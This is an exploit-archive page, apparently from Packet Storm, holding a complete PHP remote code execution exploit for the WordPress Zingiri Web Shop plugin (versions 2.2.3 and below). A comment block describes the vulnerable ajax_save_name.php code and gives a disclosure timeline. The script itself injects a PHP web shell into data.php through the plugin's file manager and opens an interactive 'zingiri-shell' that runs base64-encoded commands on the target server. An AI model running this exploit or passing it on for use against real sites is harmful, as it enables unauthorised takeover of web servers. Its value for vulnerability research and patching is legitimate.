exploit the possibilities

WordPress Zingiri 2.2.3 Code Execution

WordPress Zingiri 2.2.3 Code Execution
Posted Nov 13, 2011
Authored by EgiX

The WordPress Zingiri plugin versions 2.2.3 and below suffer from a code execution vulnerability in ajax_save_name.php.

tags | exploit, php, code execution
MD5 | 8adf0bbbde91f8d7f26a9ac221f00eb2

WordPress Zingiri 2.2.3 Code Execution

Change Mirror Download
<?php

/*
------------------------------------------------------------------------
Wordpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit
------------------------------------------------------------------------

author...............: Egidio Romano aka EgiX
mail.................: n0b0d13s[at]gmail[dot]com
software link........: http://wordpress.org/extend/plugins/zingiri-web-shop/
affected versions....: from 0.9.12 to 2.2.3

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] vulnerable code in /fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php

37. @ob_start();
38. include_once(CLASS_SESSION_ACTION);
39. $sessionAction = new SessionAction();
40. $selectedDocuments = $sessionAction->get();
41. if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['id']) && sizeof($selectedDocuments))
42. {
43. if(($key = array_search(basename($_POST['id']), $selectedDocuments)) !== false)
44. {
45. $selectedDocuments[$key] = $_POST['value'];
46. $sessionAction->set($selectedDocuments);
47.
48. }
49. echo basename($_POST['id']) . "\n";
50. displayArray($selectedDocuments);
51.
52. }elseif(removeTrailingSlash($sessionAction->getFolder()) == removeTrailingSlash($_POST['id']))
53. {
54. $sessionAction->setFolder($_POST['id']);
55. }
56. writeInfo(ob_get_clean());

An attacker could be able to manipulate the $selectedDocuments array that will be displayed at line 50,
then at line 56 is called the 'writeInfo' function using the current buffer contents as argument.
Like my recently discovered vulnerability (http://www.exploit-db.com/exploits/18075/), this function
writes into a file called 'data.php' so an attacker could be able to execute arbitrary PHP code.

[-] Note:

The same vulnerability affects also the Joomla component (http://extensions.joomla.org/extensions/e-commerce/shopping-cart/13580)
but isn't exploitable due to a misconfiguration in 'CONFIG_SYS_ROOT_PATH' constant definition.

[-] Disclosure timeline:

[23/11/2011] - Vulnerability discovered
[25/10/2011] - Issue reported to http://forums.zingiri.com/
[12/11/2011] - Version 2.2.4 released
[13/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

$fileman = "wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager";

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die( "\n[-] No response from {$host}:80\n");

fwrite($sock, $packet);
return stream_get_contents($sock);
}

function get_root_dir()
{
global $host, $path, $fileman;

$packet = "GET {$path}{$fileman}/ajaxfilemanager.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

if (!preg_match('/currentFolderPath" value="([^"]*)"/', http_send($host, $packet), $m)) die("\n[-] Root folder path not found!\n");
return $m[1];
}

function random_mkdir()
{
global $host, $path, $fileman, $rootdir;

$dirname = uniqid();

$payload = "new_folder={$dirname}&currentFolderPath={$rootdir}";
$packet = "POST {$path}{$fileman}/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);
return $dirname;
}

print "\n+----------------------------------------------------------------------------------+";
print "\n| Wordpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /wordpress/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$rootdir = get_root_dir();
$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";

$payload = "selectedDoc[]={$phpcode}&currentFolderPath={$rootdir}";
$packet = "POST {$path}{$fileman}/ajax_file_cut.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n");

$dirname = random_mkdir();
$newname = uniqid();

$payload = "value={$newname}&id={$rootdir}{$dirname}";
$packet = "POST {$path}{$fileman}/ajax_save_name.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet = "GET {$path}{$fileman}/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\nzingiri-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
print $m[1] : die("\n[-] Exploit failed!\n");
}

?>


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    12 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close